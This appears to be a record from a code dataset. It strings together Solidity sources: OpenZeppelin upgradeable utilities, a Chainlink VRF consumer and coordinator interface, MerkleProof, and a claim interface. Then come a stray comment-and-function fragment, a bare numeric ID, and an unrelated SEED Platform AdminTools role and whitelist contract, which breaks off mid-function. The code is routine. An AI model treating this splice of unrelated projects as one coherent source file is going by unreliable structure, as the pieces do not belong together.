{xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { if (address(this).balance < value) revert Address_InsufficientBalance(address(this).balance, value); if (!isContract(target)) revert Address_CallToNonContract(target); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { if (!isContract(target)) revert Address_StaticCallToNonContract(target); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "../openzeppelin/proxy/utils/Initializable.sol"; // Modified to use OpenZeppelin upgradeables /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. It ensures 2 things: * @dev 1. The fulfillment came from the VRFCoordinator * @dev 2. The consumer contract implements fulfillRandomWords. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash). Create subscription, fund it * @dev and your consumer contract as a consumer of it (see VRFCoordinatorInterface * @dev subscription management functions). * @dev Call requestRandomWords(keyHash, subId, minimumRequestConfirmations, * @dev callbackGasLimit, numWords), * @dev see (VRFCoordinatorInterface for a description of the arguments). * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomWords method. * * @dev The randomness argument to fulfillRandomWords is a set of random words * @dev generated from your requestId and the blockHash of the request. * * @dev If your contract could have concurrent requests open, you can use the * @dev requestId returned from requestRandomWords to track which response is associated * @dev with which randomness request. * @dev See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously. * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. It is for this reason that * @dev that you can signal to an oracle you'd like them to wait longer before * @dev responding to the request (however this is not enforced in the contract * @dev and so remains effective only in the case of unmodified oracle software). */ abstract contract VRFConsumerBaseV2Upgradable is Initializable { error OnlyCoordinatorCanFulfill(address have, address want); address private vrfCoordinator; /** * @param _vrfCoordinator address of VRFCoordinator contract */ function __VRFConsumerBaseV2_init(address _vrfCoordinator) internal onlyInitializing { vrfCoordinator = _vrfCoordinator; } /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBaseV2 expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomWords the VRF output expanded to the requested number of words */ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal virtual; // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external { if (msg.sender != vrfCoordinator) { revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator); } fulfillRandomWords(requestId, randomWords); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface VRFCoordinatorV2Interface { /** * @notice Get configuration relevant for making requests * @return minimumRequestConfirmations global min for request confirmations * @return maxGasLimit global max for request gas limit * @return s_provingKeyHashes list of registered key hashes */ function getRequestConfig() external view returns ( uint16, uint32, bytes32[] memory ); /** * @notice Request a set of random words. * @param keyHash - Corresponds to a particular oracle job which uses * that key for generating the VRF proof. Different keyHash's have different gas price * ceilings, so you can select a specific one to bound your maximum per request cost. * @param subId - The ID of the VRF subscription. Must be funded * with the minimum subscription balance required for the selected keyHash. * @param minimumRequestConfirmations - How many blocks you'd like the * oracle to wait before responding to the request. See SECURITY CONSIDERATIONS * for why you may want to request more. The acceptable range is * [minimumRequestBlockConfirmations, 200]. * @param callbackGasLimit - How much gas you'd like to receive in your * fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords * may be slightly less than this amount because of gas used calling the function * (argument decoding etc.), so you may need to request slightly more than you expect * to have inside fulfillRandomWords. The acceptable range is * [0, maxGasLimit] * @param numWords - The number of uint256 random values you'd like to receive * in your fulfillRandomWords callback. Note these numbers are expanded in a * secure way by the VRFCoordinator from a single random value supplied by the oracle. * @return requestId - A unique identifier of the request. Can be used to match * a request to a response in fulfillRandomWords. */ function requestRandomWords( bytes32 keyHash, uint64 subId, uint16 minimumRequestConfirmations, uint32 callbackGasLimit, uint32 numWords ) external returns (uint256 requestId); /** * @notice Create a VRF subscription. * @return subId - A unique subscription id. * @dev You can manage the consumer set dynamically with addConsumer/removeConsumer. * @dev Note to fund the subscription, use transferAndCall. For example * @dev LINKTOKEN.transferAndCall( * @dev address(COORDINATOR), * @dev amount, * @dev abi.encode(subId)); */ function createSubscription() external returns (uint64 subId); /** * @notice Get a VRF subscription. * @param subId - ID of the subscription * @return balance - LINK balance of the subscription in juels. * @return reqCount - number of requests for this subscription, determines fee tier. * @return owner - owner of the subscription. * @return consumers - list of consumer address which are able to use this subscription. */ function getSubscription(uint64 subId) external view returns ( uint96 balance, uint64 reqCount, address owner, address[] memory consumers ); /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @param newOwner - proposed new owner of the subscription */ function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner) external; /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @dev will revert if original owner of subId has * not requested that msg.sender become the new owner. */ function acceptSubscriptionOwnerTransfer(uint64 subId) external; /** * @notice Add a consumer to a VRF subscription. * @param subId - ID of the subscription * @param consumer - New consumer which can use the subscription */ function addConsumer(uint64 subId, address consumer) external; /** * @notice Remove a consumer from a VRF subscription. * @param subId - ID of the subscription * @param consumer - Consumer to remove from the subscription */ function removeConsumer(uint64 subId, address consumer) external; /** * @notice Cancel a subscription * @param subId - ID of the subscription * @param to - Where to send the remaining LINK to */ function cancelSubscription(uint64 subId, address to) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProofUpgradeable { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; error NoClaimAvailable(address _account); interface IClaimable { function claim() external; function pendingClaim(address _account) external view returns (uint256); function initializeClaim(uint256 _tokenId) external; function updateClaim(address _account, uint256 _tokenId) external; event Claimed(address indexed _account, uint256 _amount); event Updated(address indexed _account, uint256 indexed _tokenId); }
Abstract function called on each token when revealing _tokenId Token ID to reveal _seed Random number from VRF for the token/ Set the VRF key hash _keyHash New keyHash/
function _revealToken(uint256 _tokenId, uint256 _seed) internal virtual; function _setKeyHash(bytes32 _keyHash) internal { keyHash = _keyHash; }
6,147,347
/** * SEED Platform Generator ATDeployer */ pragma solidity ^0.5.2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Not Owner!"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0),"Address 0 could not be owner"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IAdminTools { function setFFPAddresses(address, address) external; function setMinterAddress(address) external returns(address); function getMinterAddress() external view returns(address); function getWalletOnTopAddress() external view returns (address); function setWalletOnTopAddress(address) external returns(address); function addWLManagers(address) external; function removeWLManagers(address) external; function isWLManager(address) external view returns (bool); function addWLOperators(address) external; function removeWLOperators(address) external; function renounceWLManager() external; function isWLOperator(address) external view returns (bool); function renounceWLOperators() external; function addFundingManagers(address) external; function removeFundingManagers(address) external; function isFundingManager(address) external view returns (bool); function addFundingOperators(address) external; function removeFundingOperators(address) external; function renounceFundingManager() external; function isFundingOperator(address) external view returns (bool); function renounceFundingOperators() external; function addFundsUnlockerManagers(address) external; function removeFundsUnlockerManagers(address) external; function isFundsUnlockerManager(address) external view returns (bool); function addFundsUnlockerOperators(address) external; function removeFundsUnlockerOperators(address) external; function renounceFundsUnlockerManager() external; function isFundsUnlockerOperator(address) external view returns (bool); function renounceFundsUnlockerOperators() external; function isWhitelisted(address) external view returns(bool); function getWLThresholdBalance() external view returns (uint256); function getMaxWLAmount(address) external view returns(uint256); function getWLLength() external view returns(uint256); function setNewThreshold(uint256) external; function changeMaxWLAmount(address, uint256) external; function addToWhitelist(address, uint256) external; function addToWhitelistMassive(address[] calldata, uint256[] calldata) external returns (bool); function removeFromWhitelist(address, uint256) external; } interface IFactory { function changeATFactoryAddress(address) external; function changeTDeployerAddress(address) external; function changeFPDeployerAddress(address) external; function deployPanelContracts(string calldata, string calldata, string calldata, bytes32, uint8, uint8, uint256, uint256) external; function isFactoryDeployer(address) external view returns(bool); function isFactoryATGenerated(address) external view returns(bool); function isFactoryTGenerated(address) external view returns(bool); function isFactoryFPGenerated(address) external view returns(bool); function getTotalDeployer() external view returns(uint256); function getTotalATContracts() external view returns(uint256); function getTotalTContracts() external view returns(uint256); function getTotalFPContracts() external view returns(uint256); function getContractsByIndex(uint256) external view returns (address, address, address, address); function getFPAddressByIndex(uint256) external view returns (address); function getFactoryContext() external view returns (address, address, uint); } interface IFundingPanel { function getFactoryDeployIndex() external view returns(uint); function isMemberInserted(address) external view returns(bool); function addMemberToSet(address, uint8, string calldata, bytes32) external returns (bool); function enableMember(address) external; function disableMemberByStaffRetire(address) external; function disableMemberByStaffForExit(address) external; function disableMemberByMember(address) external; function changeMemberData(address, string calldata, bytes32) external; function changeTokenExchangeRate(uint256) external; function changeTokenExchangeOnTopRate(uint256) external; function getOwnerData() external view returns (string memory, bytes32); function setOwnerData(string calldata, bytes32) external; function getMembersNumber() external view returns (uint); function getMemberAddressByIndex(uint8) external view returns (address); function getMemberDataByAddress(address _memberWallet) external view returns (bool, uint8, string memory, bytes32, uint256, uint, uint256); function setNewSeedMaxSupply(uint256) external returns (uint256); function holderSendSeeds(uint256) external; function unlockFunds(address, uint256) external; function burnTokensForMember(address, uint256) external; function importOtherTokens(address, uint256) external; } contract AdminTools is Ownable, IAdminTools { using SafeMath for uint256; struct wlVars { bool permitted; uint256 maxAmount; } mapping (address => wlVars) private whitelist; uint8 private whitelistLength; uint256 private whitelistThresholdBalance; mapping (address => bool) private _WLManagers; mapping (address => bool) private _FundingManagers; mapping (address => bool) private _FundsUnlockerManagers; mapping (address => bool) private _WLOperators; mapping (address => bool) private _FundingOperators; mapping (address => bool) private _FundsUnlockerOperators; address private _minterAddress; address private _walletOnTopAddress; address public FPAddress; IFundingPanel public FPContract; address public FAddress; IFactory public FContract; event WLManagersAdded(); event WLManagersRemoved(); event WLOperatorsAdded(); event WLOperatorsRemoved(); event FundingManagersAdded(); event FundingManagersRemoved(); event FundingOperatorsAdded(); event FundingOperatorsRemoved(); event FundsUnlockerManagersAdded(); event FundsUnlockerManagersRemoved(); event FundsUnlockerOperatorsAdded(); event FundsUnlockerOperatorsRemoved(); event MaxWLAmountChanged(); event MinterOrigins(); event MinterChanged(); event WalletOnTopAddressChanged(); event LogWLThresholdBalanceChanged(); event LogWLAddressAdded(); event LogWLMassiveAddressesAdded(); event LogWLAddressRemoved(); constructor (uint256 _whitelistThresholdBalance) public { whitelistThresholdBalance = _whitelistThresholdBalance; } function setFFPAddresses(address _factoryAddress, address _FPAddress) external onlyOwner { FAddress = _factoryAddress; FContract = IFactory(FAddress); FPAddress = _FPAddress; FPContract = IFundingPanel(FPAddress); emit MinterOrigins(); } /* Token Minter address, to set like Funding Panel address */ function getMinterAddress() external view returns(address) { return _minterAddress; } function setMinterAddress(address _minter) external onlyOwner returns(address) { require(_minter != address(0), "Not valid minter address!"); require(_minter != _minterAddress, " No change in minter contract"); require(FAddress != address(0), "Not valid factory address!"); require(FPAddress != address(0), "Not valid FP Contract address!"); require(FContract.getFPAddressByIndex(FPContract.getFactoryDeployIndex()) == _minter, "Minter is not a known funding panel!"); _minterAddress = _minter; emit MinterChanged(); return _minterAddress; } /* Wallet receiving extra minted tokens (percentage) */ function getWalletOnTopAddress() external view returns (address) { return _walletOnTopAddress; } function setWalletOnTopAddress(address _wallet) external onlyOwner returns(address) { require(_wallet != address(0), "Not valid wallet address!"); require(_wallet != _walletOnTopAddress, " No change in OnTopWallet"); _walletOnTopAddress = _wallet; emit WalletOnTopAddressChanged(); return _walletOnTopAddress; } /* Modifiers */ modifier onlyWLManagers() { require(isWLManager(msg.sender), "Not a Whitelist Manager!"); _; } modifier onlyWLOperators() { require(isWLOperator(msg.sender), "Not a Whitelist Operator!"); _; } modifier onlyFundingManagers() { require(isFundingManager(msg.sender), "Not a Funding Panel Manager!"); _; } modifier onlyFundingOperators() { require(isFundingOperator(msg.sender), "Not a Funding Panel Operator!"); _; } modifier onlyFundsUnlockerManagers() { require(isFundsUnlockerManager(msg.sender), "Not a Funds Unlocker Manager!"); _; } modifier onlyFundsUnlockerOperators() { require(isFundsUnlockerOperator(msg.sender), "Not a Funds Unlocker Operator!"); _; } /* WL Roles Mngmt */ function addWLManagers(address account) external onlyOwner { _addWLManagers(account); _addWLOperators(account); } function removeWLManagers(address account) external onlyOwner { _removeWLManagers(account); } function isWLManager(address account) public view returns (bool) { return _WLManagers[account]; } function addWLOperators(address account) external onlyWLManagers { _addWLOperators(account); } function removeWLOperators(address account) external onlyWLManagers { _removeWLOperators(account); } function renounceWLManager() external onlyWLManagers { _removeWLManagers(msg.sender); } function _addWLManagers(address account) internal { _WLManagers[account] = true; emit WLManagersAdded(); } function _removeWLManagers(address account) internal { _WLManagers[account] = false; emit WLManagersRemoved(); } function isWLOperator(address account) public view returns (bool) { return _WLOperators[account]; } function renounceWLOperators() external onlyWLOperators { _removeWLOperators(msg.sender); } function _addWLOperators(address account) internal { _WLOperators[account] = true; emit WLOperatorsAdded(); } function _removeWLOperators(address account) internal { _WLOperators[account] = false; emit WLOperatorsRemoved(); } /* Funding Roles Mngmt */ function addFundingManagers(address account) external onlyOwner { _addFundingManagers(account); _addFundingOperators(account); } function removeFundingManagers(address account) external onlyOwner { _removeFundingManagers(account); } function isFundingManager(address account) public view returns (bool) { return _FundingManagers[account]; } function addFundingOperators(address account) external onlyFundingManagers { _addFundingOperators(account); } function removeFundingOperators(address account) external onlyFundingManagers { _removeFundingOperators(account); } function renounceFundingManager() external onlyFundingManagers { _removeFundingManagers(msg.sender); } function _addFundingManagers(address account) internal { _FundingManagers[account] = true; emit FundingManagersAdded(); } function _removeFundingManagers(address account) internal { _FundingManagers[account] = false; emit FundingManagersRemoved(); } function isFundingOperator(address account) public view returns (bool) { return _FundingOperators[account]; } function renounceFundingOperators() external onlyFundingOperators { _removeFundingOperators(msg.sender); } function _addFundingOperators(address account) internal { _FundingOperators[account] = true; emit FundingOperatorsAdded(); } function _removeFundingOperators(address account) internal { _FundingOperators[account] = false; emit FundingOperatorsRemoved(); } /* Funds Unlockers Roles Mngmt */ function addFundsUnlockerManagers(address account) external onlyOwner { _addFundsUnlockerManagers(account); } function removeFundsUnlockerManagers(address account) external onlyOwner { _removeFundsUnlockerManagers(account); } function isFundsUnlockerManager(address account) public view returns (bool) { return _FundsUnlockerManagers[account]; } function addFundsUnlockerOperators(address account) external onlyFundsUnlockerManagers { _addFundsUnlockerOperators(account); } function removeFundsUnlockerOperators(address account) external onlyFundsUnlockerManagers { _removeFundsUnlockerOperators(account); } function renounceFundsUnlockerManager() external onlyFundsUnlockerManagers { _removeFundsUnlockerManagers(msg.sender); } function _addFundsUnlockerManagers(address account) internal { _FundsUnlockerManagers[account] = true; emit FundsUnlockerManagersAdded(); } function _removeFundsUnlockerManagers(address account) internal { _FundsUnlockerManagers[account] = false; emit FundsUnlockerManagersRemoved(); } function isFundsUnlockerOperator(address account) public view returns (bool) { return _FundsUnlockerOperators[account]; } function renounceFundsUnlockerOperators() external onlyFundsUnlockerOperators { _removeFundsUnlockerOperators(msg.sender); } function _addFundsUnlockerOperators(address account) internal { _FundsUnlockerOperators[account] = true; emit FundsUnlockerOperatorsAdded(); } function _removeFundsUnlockerOperators(address account) internal { _FundsUnlockerOperators[account] = false; emit FundsUnlockerOperatorsRemoved(); } /* Whitelisting Mngmt */ /** * @return true if subscriber is whitelisted, false otherwise */ function isWhitelisted(address _subscriber) public view returns(bool) { return whitelist[_subscriber].permitted; } /** * @return the anonymous threshold */ function getWLThresholdBalance() public view returns (uint256) { return whitelistThresholdBalance; } /** * @return maxAmount for holder */ function getMaxWLAmount(address _subscriber) external view returns(uint256) { return whitelist[_subscriber].maxAmount; } /** * @dev length of the whitelisted accounts */ function getWLLength() external view returns(uint256) { return whitelistLength; } /** * @dev set new anonymous threshold * @param _newThreshold The new anonymous threshold. */ function setNewThreshold(uint256 _newThreshold) external onlyWLManagers { require(whitelistThresholdBalance != _newThreshold, "New Threshold like the old one!"); whitelistThresholdBalance = _newThreshold; emit LogWLThresholdBalanceChanged(); } /** * @dev Change maxAmount for holder * @param _subscriber The subscriber in the whitelist. * @param _newMaxToken New max amount that a subscriber can hold (in set tokens). */ function changeMaxWLAmount(address _subscriber, uint256 _newMaxToken) external onlyWLOperators { require(isWhitelisted(_subscriber), "Investor is not whitelisted!"); whitelist[_subscriber].maxAmount = _newMaxToken; emit MaxWLAmountChanged(); } /** * @dev Add the subscriber to the whitelist. * @param _subscriber The subscriber to add to the whitelist. * @param _maxAmnt max amount that a subscriber can hold (in set tokens). */ function addToWhitelist(address _subscriber, uint256 _maxAmnt) external onlyWLOperators { 